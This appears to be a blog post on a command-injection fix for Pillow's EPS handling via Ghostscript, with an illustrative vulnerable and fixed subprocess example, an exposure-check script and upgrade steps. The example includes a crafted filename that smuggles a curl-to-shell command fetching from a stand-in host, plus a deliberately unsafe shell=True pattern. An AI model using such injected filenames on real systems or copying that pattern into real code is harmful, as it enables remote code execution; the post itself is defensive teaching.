
Pillow 13.0.0 fixed a bug where opening an EPS file could hand a shell command to Ghostscript, built straight out of the filename you gave Image.open(). If that sentence surprises you, you are not alone — most people assume "I just opened an image" cannot reach a subprocess call. With EPS files, it always could.
Why an image library is shelling out to another program at all
EPS (Encapsulated PostScript) is not a raster format. Pillow cannot decode PostScript on its own, so PIL.EpsImagePlugin does what Pillow has always done for this format: it writes the EPS data out, hands the resulting file to the Ghostscript binary (gs) if one is installed on the host, and reads back whatever raster Ghostscript produces. That design is decades old and mostly invisible — Image.open("something.eps") looks exactly like opening a PNG from the caller's side.
The problem is what gets threaded into the command Pillow builds for Ghostscript. A filename is just a string, and until this fix, Pillow trusted that string further than it should have when assembling the Ghostscript invocation.
The reachable path
This is not "any EPS file is dangerous." Two things have to both be true:
- Ghostscript has to actually be installed and on PATH. No
gsbinary, no EPS rendering path, no vulnerable code reached at all —Image.open()on an EPS file without Ghostscript present just raises an error. - The filename has to be attacker-influenced. If your code always opens files at paths your own application generated, there is nothing to inject. The risk shows up when a filename comes from outside — a user-supplied upload name, a filename pulled from a URL, an archive member name extracted from an uploaded zip, anything where an attacker picks the string that ends up as the path.
That combination is exactly why the CVE severity reads differently depending on the source you check: a scanner that only sees "Pillow shells out to Ghostscript for EPS" will flag it as Critical by default, because it does not know whether your deployment even has Ghostscript installed. A team that knows their container image has no gs binary, or that never opens attacker-named files, has a real finding worth closing out as Moderate-or-lower for their specific environment — not as a reason to ignore the advisory.
Reproducing the mechanism (illustrative, not a working exploit)
To make the shape of the bug concrete without handing out a working exploit, here is the illustrative difference between the vulnerable pattern and the fixed one. This mirrors the actual class of bug: untrusted data flowing into a command line without being escaped for the shell.
import shlex
import subprocess
# --- illustrative "before": builds a shell command by string-joining ---
# a path straight into it. This is the SHAPE of the bug, not Pillow's
# literal source -- the real fix is in C.EpsImagePlugin internals.
def render_eps_vulnerable(path: str, output: str):
# DO NOT RUN: demonstrates the unsafe pattern only.
cmd = f"gs -sDEVICE=ppmraw -sOutputFile={output} {path}"
subprocess.run(cmd, shell=True) # shell=True + unescaped path = injection
# --- illustrative "after": no shell, arguments passed as a list,
# and/or the path explicitly quoted if a shell is unavoidable ---
def render_eps_fixed(path: str, output: str):
cmd = ["gs", "-sDEVICE=ppmraw", f"-sOutputFile={output}", path]
subprocess.run(cmd, shell=False) # no shell parsing of the filename at all
# A filename like this is harmless as a Python string, but would have
# broken out of the vulnerable command line above if it ever reached it:
dangerous_name = "innocuous.eps; curl http://example.invalid/x | sh #"
print("quoted safely:", shlex.quote(dangerous_name))The lesson generalizes past this one CVE: any time a library shells out on your behalf, the question to ask is not "does this library have a vulnerability" but "what in my own data ends up as part of that command." Pillow fixed its side in 13.0.0. Your side is whatever gives Pillow the filename in the first place.
Checking whether you are actually exposed
A short script answers the two questions that matter — your installed Pillow version, and whether Ghostscript is even reachable on this host — without needing to read a single line of C source.
import shutil
import subprocess
import sys
try:
import PIL
except ImportError:
print("Pillow is not installed in this environment.")
sys.exit(0)
print(f"Pillow version: {PIL.__version__}")
FIXED_VERSION = (13, 0, 0)
installed = tuple(int(p) for p in PIL.__version__.split(".")[:3])
if installed < FIXED_VERSION:
print("VULNERABLE RANGE: upgrade to Pillow >= 13.0.0")
else:
print("OK: running a Pillow version with the EPS fix")
gs_path = shutil.which("gs")
if gs_path:
print(f"Ghostscript found at {gs_path} -- EPS rendering path IS reachable")
try:
version = subprocess.run([gs_path, "--version"], capture_output=True, text=True, timeout=5)
print(f"Ghostscript version: {version.stdout.strip()}")
except Exception as exc:
print(f"Could not determine Ghostscript version: {exc}")
else:
print("No Ghostscript binary on PATH -- EPS rendering path is NOT reachable "
"(Pillow will raise OSError on EPS files regardless of the CVE)")Run that in the actual environment that processes untrusted uploads — your CI image, your local dev machine, and a bare pip install pillow sandbox can all answer differently depending on whether Ghostscript happens to be present.
What to actually do about it
# Check your current version
python -c "import PIL; print(PIL.__version__)"
# Upgrade
pip install --upgrade "pillow>=13.0.0"
# If you cannot upgrade immediately and your app opens
# attacker-influenced filenames, the safest stopgap is
# removing Ghostscript from any container that touches
# untrusted input, or pre-validating filenames to a
# strict allow-list pattern before they ever reach Pillow.If you maintain a library or service that passes a user-controlled filename into any image-processing call — not just Pillow, not just EPS — this is a good prompt to go check whether that filename only ever gets used as a path, or whether it quietly ends up inside a command line somewhere downstream.
Check your Pillow version and upgrade to 13.0.0.

Experienced DevOps Engineer proficient in Python, Docker, Kubernetes, CI/CD, and cloud technologies. Specialized in automating processes and building scalable infrastructure for seamless development and deployment.


